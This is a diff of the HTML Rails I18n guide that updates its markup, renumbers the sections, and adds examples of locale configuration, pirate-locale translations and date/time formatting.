+<div class="ulist"><ul>
<li>
<p>
providing support for English and similar languages out of the box
@@ -291,50 +138,99 @@ making it easy to customize and extend everything for other languages
</p>
</li>
</ul></div>
+<div class="paragraph"><p>As part of this solution, <strong>every static string in the Rails framework</strong>&#8201;&#8212;&#8201;eg. ActiveRecord validation messages, time and date formats&#8201;&#8212;&#8201;<strong>has been internationalized</strong>, so <em>localization</em> of a Rails application means "over-riding" these defaults.</p></div>
<h3 id="_the_overall_architecture_of_the_library">1.1. The overall architecture of the library</h3>
-<div class="para"><p>To solve this the Ruby I18n gem is split into two parts:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Thus, the Ruby I18n gem is split into two parts:</p></div>
+<div class="ulist"><ul>
<li>
<p>
-The public API which is just a Ruby module with a bunch of public methods and definitions how the library works.
+The public API of the i18n framework&#8201;&#8212;&#8201;a Ruby module with public methods and definitions how the library works
</p>
</li>
<li>
<p>
-A shipped backend (which is intentionally named the Simple backend) that implements these methods.
+A default backend (which is intentionally named <em>Simple</em> backend) that implements these methods
</p>
</li>
</ul></div>
-<div class="para"><p>As a user you should always only access the public methods on the I18n module but it is useful to know about the capabilities of the backend you use and maybe exchange the shipped Simple backend with a more powerful one.</p></div>
+<div class="paragraph"><p>As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section <a href="#_using_different_backends">Using different backends</a> below.</td>
+</tr></table>
+</div>
<h3 id="_the_public_i18n_api">1.2. The public I18n API</h3>
-<div class="para"><p>We will go into more detail about the public methods later but here's a quick overview. The most important methods are:</p></div>
+<div class="paragraph"><p>The most important methods of the I18n API are:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>translate <span style="font-style: italic"><span style="color: #9A1900"># Lookup text translations</span></span>
+localize <span style="font-style: italic"><span style="color: #9A1900"># Localize Date and Time objects to local formats</span></span></tt></pre></div></div>
+<div class="paragraph"><p>These have the aliases #t and #l so you can use them like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>translate <span style="font-style: italic"><span style="color: #9A1900"># lookup translations</span></span>
-localize <span style="font-style: italic"><span style="color: #9A1900"># localize Date and Time objects to local formats</span></span>
-</tt></pre></div></div>
-<div class="para"><p>There are also attribute readers and writers for the following attributes:</p></div>
+<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #FF0000">'store.title'</span>
+I18n<span style="color: #990000">.</span>l Time<span style="color: #990000">.</span>now</tt></pre></div></div>
+<div class="paragraph"><p>There are also attribute readers and writers for the following attributes:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>load_path <span style="font-style: italic"><span style="color: #9A1900"># announce your custom translation files</span></span>
-locale <span style="font-style: italic"><span style="color: #9A1900"># get and set the current locale</span></span>
-default_locale <span style="font-style: italic"><span style="color: #9A1900"># get and set the default locale</span></span>
-exception_handler <span style="font-style: italic"><span style="color: #9A1900"># use a different exception_handler</span></span>
-backend <span style="font-style: italic"><span style="color: #9A1900"># use a different backend</span></span>
-</tt></pre></div></div>
+<pre><tt>load_path <span style="font-style: italic"><span style="color: #9A1900"># Announce your custom translation files</span></span>
+locale <span style="font-style: italic"><span style="color: #9A1900"># Get and set the current locale</span></span>
+default_locale <span style="font-style: italic"><span style="color: #9A1900"># Get and set the default locale</span></span>
+exception_handler <span style="font-style: italic"><span style="color: #9A1900"># Use a different exception_handler</span></span>
+backend <span style="font-style: italic"><span style="color: #9A1900"># Use a different backend</span></span></tt></pre></div></div>
+<div class="paragraph"><p>So, let&#8217;s internationalize a simple Rails application from the ground up in the next chapters!</p></div>
</div>
-<h2 id="_walkthrough_setup_a_simple_i18n_ed_rails_application">2. Walkthrough: setup a simple I18n'ed Rails application</h2>
+<h2 id="_setup_the_rails_application_for_internationalization">2. Setup the Rails application for internationalization</h2>
<div class="sectionbody">
-<div class="para"><p>There are just a few, simple steps to get up and running with a I18n support for your application.</p></div>
+<div class="paragraph"><p>There are just a few, simple steps to get up and running with I18n support for your application.</p></div>
<h3 id="_configure_the_i18n_module">2.1. Configure the I18n module</h3>
-<div class="para"><p>First of all you want to tell the I18n library where it can find your custom translation files. You might also want to set your default locale to something else than English.</p></div>
-<div class="para"><p>You can pick whatever directory and translation file naming scheme makes sense for you. The simplest thing possible is probably to put the following into an initializer:</p></div>
+<div class="paragraph"><p>Following the <em>convention over configuration</em> philosophy, Rails will set-up your application with reasonable defaults. If you need different settings, you can overwrite them easily.</p></div>
+<div class="paragraph"><p>Rails adds all <tt>.rb</tt> and <tt>.yml</tt> files from <tt>config/locales</tt> directory to your <strong>translations load path</strong>, automatically.</p></div>
+<div class="paragraph"><p>See the default <tt>en.yml</tt> locale in this directory, containing a sample pair of translation strings:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>en<span style="color: #990000">:</span>
+ hello<span style="color: #990000">:</span> <span style="color: #FF0000">"Hello world"</span></tt></pre></div></div>
+<div class="paragraph"><p>This means, that in the <tt>:en</tt> locale, the key <em>hello</em> will map to <em>Hello world</em> string. Every string inside Rails is internationalized in this way, see for instance ActiveRecord validation messages in the <a href="http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml"><tt>activerecord/lib/active_record/locale/en.yml</tt></a> file or time and date formats in the <a href="http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml"><tt>activesupport/lib/active_support/locale/en.yml</tt></a> file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.</p></div>
+<div class="paragraph"><p>The I18n library will use <strong>English</strong> as a <strong>default locale</strong>, ie. if you don&#8217;t set a different locale, <tt>:en</tt> will be used for looking up translations.</p></div>
+<div class="paragraph"><p>The <strong>translations load path</strong> (<tt>I18n.load_path</tt>) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.</td>
+</tr></table>
+</div>
+<div class="paragraph"><p>The default <tt>environment.rb</tt> files has instruction how to add locales from another directory and how to set different default locale. Just uncomment and edit the specific lines.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># The internationalization framework can be changed</span></span>
+<span style="font-style: italic"><span style="color: #9A1900"># to have another default locale (standard is :en) or more load paths.</span></span>
+<span style="font-style: italic"><span style="color: #9A1900"># All files from config/locales/*.rb,yml are added automatically.</span></span>
+<span style="font-style: italic"><span style="color: #9A1900"># config.i18n.load_path &lt;&lt; Dir[File.join(RAILS_ROOT, 'my', 'locales', '*.{rb,yml}')]</span></span>
+<span style="font-style: italic"><span style="color: #9A1900"># config.i18n.default_locale = :de</span></span></tt></pre></div></div>
+<h3 id="_optional_custom_i18n_configuration_setup">2.2. Optional: custom I18n configuration setup</h3>
+<div class="paragraph"><p>For the sake of completeness, let&#8217;s mention that if you do not want to use the <tt>environment.rb</tt> file for some reason, you can always wire up things manually, too.</p></div>
+<div class="paragraph"><p>To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an <strong>initializer</strong>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -343,15 +239,13 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># in config/initializer/locale.rb</span></span>
<span style="font-style: italic"><span style="color: #9A1900"># tell the I18n library where to find your translations</span></span>
-I18n<span style="color: #990000">.</span>load_path <span style="color: #990000">+=</span> Dir<span style="color: #990000">[</span> File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>RAILS_ROOT<span style="color: #990000">,</span> <span style="color: #FF0000">'lib'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'locale'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'*.{rb,yml}'</span><span style="color: #990000">)</span> <span style="color: #990000">]</span>
+I18n<span style="color: #990000">.</span>load_path <span style="color: #990000">&lt;&lt;</span> Dir<span style="color: #990000">[</span> File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>RAILS_ROOT<span style="color: #990000">,</span> <span style="color: #FF0000">'lib'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'locale'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'*.{rb,yml}'</span><span style="color: #990000">)</span> <span style="color: #990000">]</span>
-<span style="font-style: italic"><span style="color: #9A1900"># you can omit this if you're happy with English as a default locale</span></span>
-I18n<span style="color: #990000">.</span>default_locale <span style="color: #990000">=</span> <span style="color: #990000">:</span><span style="color: #FF0000">"pt"</span>
-</tt></pre></div></div>
-<div class="para"><p>I18n.load_path is just a Ruby Array of paths to your translation files. The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.</p></div>
-<h3 id="_set_the_locale_in_each_request">2.2. Set the locale in each request</h3>
-<div class="para"><p>By default the I18n library will use the I18n.default_locale for looking up translations (if you do not specify a locale for a lookup) and this will, by default, en (English).</p></div>
-<div class="para"><p>If you want to translate your Rails application to a single language other than English you can set I18n.default_locale to your locale. If you want to change the locale on a per-request basis though you can set it in a before_filter on the ApplicationController like this:</p></div>
+<span style="font-style: italic"><span style="color: #9A1900"># set default locale to something else then :en</span></span>
+I18n<span style="color: #990000">.</span>default_locale <span style="color: #990000">=</span> <span style="color: #990000">:</span>pt</tt></pre></div></div>
+<h3 id="_setting_and_passing_the_locale">2.3. Setting and passing the locale</h3>
+<div class="paragraph"><p>By default the I18n library will use :en (English) as a I18n.default_locale for looking up translations (if you do not specify a locale for a lookup).</p></div>
+<div class="paragraph"><p>If you want to translate your Rails application to a single language other than English you can set I18n.default_locale to your locale. If you want to change the locale on a per-request basis though you can set it in a before_filter on the ApplicationController like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -361,13 +255,22 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> set_locale
<span style="font-style: italic"><span style="color: #9A1900"># if this is nil then I18n.default_locale will be used</span></span>
I18n<span style="color: #990000">.</span>locale <span style="color: #990000">=</span> params<span style="color: #990000">[:</span>locale<span style="color: #990000">]</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will already work for URLs where you pass the locale as a query parameter as in example.com?locale=pt-BR (which is what Google also does). (TODO hints about other approaches in the resources section).</p></div>
-<div class="para"><p>Now you've initialized I18n support for your application and told it which locale should be used. With that in place you're now ready for the really interesting stuff.</p></div>
-<h3 id="_internationalize_your_application">2.3. Internationalize your application</h3>
-<div class="para"><p>The process of "internationalization" usually means to abstract all strings and other locale specific bits out of your application (TODO reference to wikipedia). The process of "localization" means to then provide translations and localized formats for these bits.</p></div>
-<div class="para"><p>So, let's internationalize something. You most probably have something like this in one of your applications:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This will already work for URLs where you pass the locale as a query parameter as in example.com?locale=pt (which is what Google also does).</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">For other URL designs, see <a href="http://rails-i18n.org/wiki/pages/how-to-encode-the-current-locale-in-the-url">How to encode the current locale in the URL</a>.</td>
+</tr></table>
+</div>
+<div class="paragraph"><p>Now you&#8217;ve initialized I18n support for your application and told it which locale should be used. With that in place you&#8217;re now ready for the really interesting stuff.</p></div>
+</div>
+<h2 id="_internationalize_your_application">3. Internationalize your application</h2>
+<div class="sectionbody">
+<div class="paragraph"><p>The process of "internationalization" usually means to abstract all strings and other locale specific bits out of your application. The process of "localization" means to then provide translations and localized formats for these bits. <a href="#1">[1]</a></p></div>
+<div class="paragraph"><p>So, let&#8217;s internationalize something. You most probably have something like this in one of your applications:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -387,10 +290,12 @@ ActionController<span style="color: #990000">::</span>Routing<span style="color:
<span style="font-style: italic"><span style="color: #9A1900"># app/views/home/index.html.erb</span></span>
<span style="color: #FF0000">&lt;h1&gt;</span>Hello world!<span style="color: #FF0000">&lt;/h1&gt;</span>
-<span style="color: #FF0000">&lt;p&gt;&lt;%= flash[:notice] %&gt;&lt;/p&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>TODO screenshot</p></div>
-<div class="para"><p>Obviously there are two strings that are localized to English. In order to internationalize this code replace these strings with calls to Rails' #t helper with a key that makes sense for the translation:</p></div>
+<span style="color: #FF0000">&lt;p&gt;&lt;%= flash[:notice] %&gt;&lt;/p&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p><span class="image">
+<img src="images/i18n/demo_untranslated.png" alt="rails i18n demo untranslated" title="rails i18n demo untranslated" />
+</span></p></div>
+<h3 id="_adding_translations">3.1. Adding Translations</h3>
+<div class="paragraph"><p>Obviously there are two strings that are localized to English. In order to internationalize this code replace these strings with calls to Rails' #t helper with a key that makes sense for the translation:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -405,43 +310,75 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-style: italic"><span style="color: #9A1900"># app/views/home/index.html.erb</span></span>
<span style="color: #FF0000">&lt;h1&gt;&lt;%=t :hello_world %&gt;&lt;/h1&gt;</span>
-<span style="color: #FF0000">&lt;p&gt;&lt;%= flash[:notice] %&gt;&lt;/p&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>TODO insert note about #t helper compared to I18n.t</p></div>
-<div class="para"><p>TODO insert note/reference about structuring translation keys</p></div>
-<div class="para"><p>When you now render this view it will show an error message that tells you that the translations for the keys :hello_world and :hello_flash are missing.</p></div>
-<div class="para"><p>TODO screenshot</p></div>
-<div class="para"><p>So let's add the missing translations (i.e. do the "localization" part):</p></div>
+<span style="color: #FF0000">&lt;p&gt;&lt;%= flash[:notice] %&gt;&lt;/p&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>When you now render this view it will show an error message that tells you that the translations for the keys :hello_world and :hello_flash are missing.</p></div>
+<div class="paragraph"><p><span class="image">
+<img src="images/i18n/demo_translation_missing.png" alt="rails i18n demo translation missing" title="rails i18n demo translation missing" />
+</span></p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">Rails adds a <tt>t</tt> (<tt>translate</tt>) helper method to your views so that you do not need to spell out <tt>I18n.t</tt> all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a &lt;span class="translation_missing"&gt;.</td>
+</tr></table>
+</div>
+<div class="paragraph"><p>So let&#8217;s add the missing translations (i.e. do the "localization" part):</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># lib/locale/en.yml</span></span>
-en<span style="color: #990000">-</span>US<span style="color: #990000">:</span>
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># config/locale/en.yml</span></span>
+en<span style="color: #990000">:</span>
hello_world<span style="color: #990000">:</span> Hello World
hello_flash<span style="color: #990000">:</span> Hello Flash
-<span style="font-style: italic"><span style="color: #9A1900"># lib/locale/pirate.yml</span></span>
+<span style="font-style: italic"><span style="color: #9A1900"># config/locale/pirate.yml</span></span>
pirate<span style="color: #990000">:</span>
hello_world<span style="color: #990000">:</span> Ahoy World
- hello_flash<span style="color: #990000">:</span> Ahoy Flash
-</tt></pre></div></div>
-<div class="para"><p>There you go. Your application now shows:</p></div>
-<div class="para"><p>TODO screenshot</p></div>
+ hello_flash<span style="color: #990000">:</span> Ahoy Flash</tt></pre></div></div>
+<div class="paragraph"><p>There you go. Because you haven&#8217;t changed the default_locale I18n will use English. Your application now shows:</p></div>
+<div class="paragraph"><p><span class="image">
+<img src="images/i18n/demo_translated_english.png" alt="rails i18n demo translated to english" title="rails i18n demo translated to english" />
+</span></p></div>
+<div class="paragraph"><p>And when you change the URL to pass the pirate locale you get:</p></div>
+<div class="paragraph"><p><span class="image">
+<img src="images/i18n/demo_translated_pirate.png" alt="rails i18n demo translated to pirate" title="rails i18n demo translated to pirate" />
+</span></p></div>
+<div class="paragraph"><p>NOTE You need to restart the server when you add new locale files.</p></div>
+<h3 id="_adding_date_time_formats">3.2. Adding Date/Time formats</h3>
+<div class="paragraph"><p>Ok, let&#8217;s add a timestamp to the view so we can demo the date/time localization feature as well. To localize the time format you pass the Time object to I18n.l or (preferably) use Rails' #l helper. You can pick a format by passing the :format option, by default the :default format is used.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #FF0000">'store.title'</span>
-I18n<span style="color: #990000">.</span>l Time<span style="color: #990000">.</span>now
-</tt></pre></div></div>
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># app/views/home/index.html.erb</span></span>
+<span style="color: #FF0000">&lt;h1&gt;&lt;%=t :hello_world %&gt;&lt;/h1&gt;</span>
+<span style="color: #FF0000">&lt;p&gt;&lt;%= flash[:notice] %&gt;</span><span style="color: #990000">&lt;/</span>p
+<span style="color: #FF0000">&lt;p&gt;&lt;%= l Time.now, :format =&gt;</span> <span style="color: #990000">:</span>short <span style="color: #990000">%&gt;</span><span style="color: #FF0000">&lt;/p&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>And in our pirate translations file let&#8217;s add a time format (it&#8217;s already there in Rails' defaults for English):</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># config/locale/pirate.yml</span></span>
+pirate<span style="color: #990000">:</span>
+ time<span style="color: #990000">:</span>
+ formats<span style="color: #990000">:</span>
+ short<span style="color: #990000">:</span> <span style="color: #FF0000">"arrrround %H'ish"</span></tt></pre></div></div>
+<div class="paragraph"><p>So that would give you:</p></div>
+<div class="paragraph"><p><span class="image">
+<img src="images/i18n/demo_localized_pirate.png" alt="rails i18n demo localized time to pirate" title="rails i18n demo localized time to pirate" />
+</span></p></div>
+<div class="paragraph"><p>NOTE Right now you might need to add some more date/time formats in order to make the I18n backend work as expected. See the <a href="http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale">rails-i18n repository</a> for starting points.</p></div>
</div>
-<h2 id="_overview_of_the_i18n_api_features">3. Overview of the I18n API features</h2>
+<h2 id="_overview_of_the_i18n_api_features">4. Overview of the I18n API features</h2>
<div class="sectionbody">
-<div class="para"><p>The following purposes are covered:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>The following purposes are covered:</p></div>
+<div class="ulist"><ul>
<li>
<p>
lookup translations
@@ -463,35 +400,32 @@ localize dates, numbers, currency etc.
</p>
</li>
</ul></div>
-<h3 id="_looking_up_translations">3.1. Looking up translations</h3>
-<h4 id="_basic_lookup_scopes_and_nested_keys">3.1.1. Basic lookup, scopes and nested keys</h4>
-<div class="para"><p>Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:</p></div>
+<h3 id="_looking_up_translations">4.1. Looking up translations</h3>
+<h4 id="_basic_lookup_scopes_and_nested_keys">4.1.1. Basic lookup, scopes and nested keys</h4>
+<div class="paragraph"><p>Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>message
-I18n<span style="color: #990000">.</span>t <span style="color: #FF0000">'message'</span>
-</tt></pre></div></div>
-<div class="para"><p>translate also takes a :scope option which can contain one or many additional keys that will be used to specify a “namespace” or scope for a translation key:</p></div>
+I18n<span style="color: #990000">.</span>t <span style="color: #FF0000">'message'</span></tt></pre></div></div>
+<div class="paragraph"><p>translate also takes a :scope option which can contain one or many additional keys that will be used to specify a “namespace” or scope for a translation key:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>invalid<span style="color: #990000">,</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>active_record<span style="color: #990000">,</span> <span style="color: #990000">:</span>error_messages<span style="color: #990000">]</span>
-</tt></pre></div></div>
-<div class="para"><p>This looks up the :invalid message in the ActiveRecord error messages.</p></div>
-<div class="para"><p>Additionally, both the key and scopes can be specified as dot separated keys as in:</p></div>
+<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>invalid<span style="color: #990000">,</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>active_record<span style="color: #990000">,</span> <span style="color: #990000">:</span>error_messages<span style="color: #990000">]</span></tt></pre></div></div>
+<div class="paragraph"><p>This looks up the :invalid message in the ActiveRecord error messages.</p></div>
+<div class="paragraph"><p>Additionally, both the key and scopes can be specified as dot separated keys as in:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>translate <span style="color: #990000">:</span><span style="color: #FF0000">"active_record.error_messages.invalid"</span>
-</tt></pre></div></div>
-<div class="para"><p>Thus the following calls are equivalent:</p></div>
+<pre><tt>I18n<span style="color: #990000">.</span>translate <span style="color: #990000">:</span><span style="color: #FF0000">"active_record.error_messages.invalid"</span></tt></pre></div></div>
+<div class="paragraph"><p>Thus the following calls are equivalent:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -500,157 +434,143 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #FF0000">'active_record.error_messages.invalid'</span>
I18n<span style="color: #990000">.</span>t <span style="color: #FF0000">'error_messages.invalid'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>active_record
I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>invalid<span style="color: #990000">,</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'active_record.error_messages'</span>
-I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>invalid<span style="color: #990000">,</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>active_record<span style="color: #990000">,</span> <span style="color: #990000">:</span>error_messages<span style="color: #990000">]</span>
-</tt></pre></div></div>
-<h4 id="_defaults">3.1.2. Defaults</h4>
-<div class="para"><p>When a default option is given its value will be returned if the translation is missing:</p></div>
+I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>invalid<span style="color: #990000">,</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>active_record<span style="color: #990000">,</span> <span style="color: #990000">:</span>error_messages<span style="color: #990000">]</span></tt></pre></div></div>
+<h4 id="_defaults">4.1.2. Defaults</h4>
+<div class="paragraph"><p>When a default option is given its value will be returned if the translation is missing:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>missing<span style="color: #990000">,</span> <span style="color: #990000">:</span>default <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Not here'</span>
-<span style="font-style: italic"><span style="color: #9A1900"># =&gt; 'Not here'</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If the default value is a Symbol it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.</p></div>
-<div class="para"><p>E.g. the following first tries to translate the key :missing and then the key :also_missing. As both do not yield a result the string ‘Not here’ will be returned:</p></div>
+<span style="font-style: italic"><span style="color: #9A1900"># =&gt; 'Not here'</span></span></tt></pre></div></div>
+<div class="paragraph"><p>If the default value is a Symbol it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.</p></div>
+<div class="paragraph"><p>E.g. the following first tries to translate the key :missing and then the key :also_missing. As both do not yield a result the string "Not here" will be returned:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>missing<span style="color: #990000">,</span> <span style="color: #990000">:</span>default <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>also_missing<span style="color: #990000">,</span> <span style="color: #FF0000">'Not here'</span><span style="color: #990000">]</span>
-<span style="font-style: italic"><span style="color: #9A1900"># =&gt; 'Not here'</span></span>
-</tt></pre></div></div>
-<h4 id="_bulk_and_namespace_lookup">3.1.3. Bulk and namespace lookup</h4>
-<div class="para"><p>To lookup multiple translations at once an array of keys can be passed:</p></div>
+<span style="font-style: italic"><span style="color: #9A1900"># =&gt; 'Not here'</span></span></tt></pre></div></div>
+<h4 id="_bulk_and_namespace_lookup">4.1.3. Bulk and namespace lookup</h4>
+<div class="paragraph"><p>To lookup multiple translations at once an array of keys can be passed:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #990000">[:</span>odd<span style="color: #990000">,</span> <span style="color: #990000">:</span>even<span style="color: #990000">],</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'active_record.error_messages'</span>
-<span style="font-style: italic"><span style="color: #9A1900"># =&gt; ["must be odd", "must be even"]</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Also, a key can translate to a (potentially nested) hash as grouped translations. E.g. one can receive all ActiveRecord error messages as a Hash with:</p></div>
+<span style="font-style: italic"><span style="color: #9A1900"># =&gt; ["must be odd", "must be even"]</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Also, a key can translate to a (potentially nested) hash as grouped translations. E.g. one can receive all ActiveRecord error messages as a Hash with:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #FF0000">'active_record.error_messages'</span>
-<span style="font-style: italic"><span style="color: #9A1900"># =&gt; { :inclusion =&gt; "is not included in the list", :exclusion =&gt; ... }</span></span>
-</tt></pre></div></div>
-<h3 id="_interpolation">3.2. Interpolation</h3>
-<div class="para"><p>TODO explain what this is good for</p></div>
-<div class="para"><p>All options besides :default and :scope that are passed to #translate will be interpolated to the translation:</p></div>
+<span style="font-style: italic"><span style="color: #9A1900"># =&gt; { :inclusion =&gt; "is not included in the list", :exclusion =&gt; ... }</span></span></tt></pre></div></div>
+<h3 id="_interpolation">4.2. Interpolation</h3>
+<div class="paragraph"><p>In many cases you want to abstract your translations so that variables can be interpolated into the translation. For this reason the I18n API provides an interpolation feature.</p></div>
+<div class="paragraph"><p>All options besides :default and :scope that are passed to #translate will be interpolated to the translation:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>backend<span style="color: #990000">.</span>store_translations <span style="color: #FF0000">'en'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>thanks <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Thanks {{name}}!'</span>
+<pre><tt>I18n<span style="color: #990000">.</span>backend<span style="color: #990000">.</span>store_translations <span style="color: #990000">:</span>en<span style="color: #990000">,</span> <span style="color: #990000">:</span>thanks <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Thanks {{name}}!'</span>
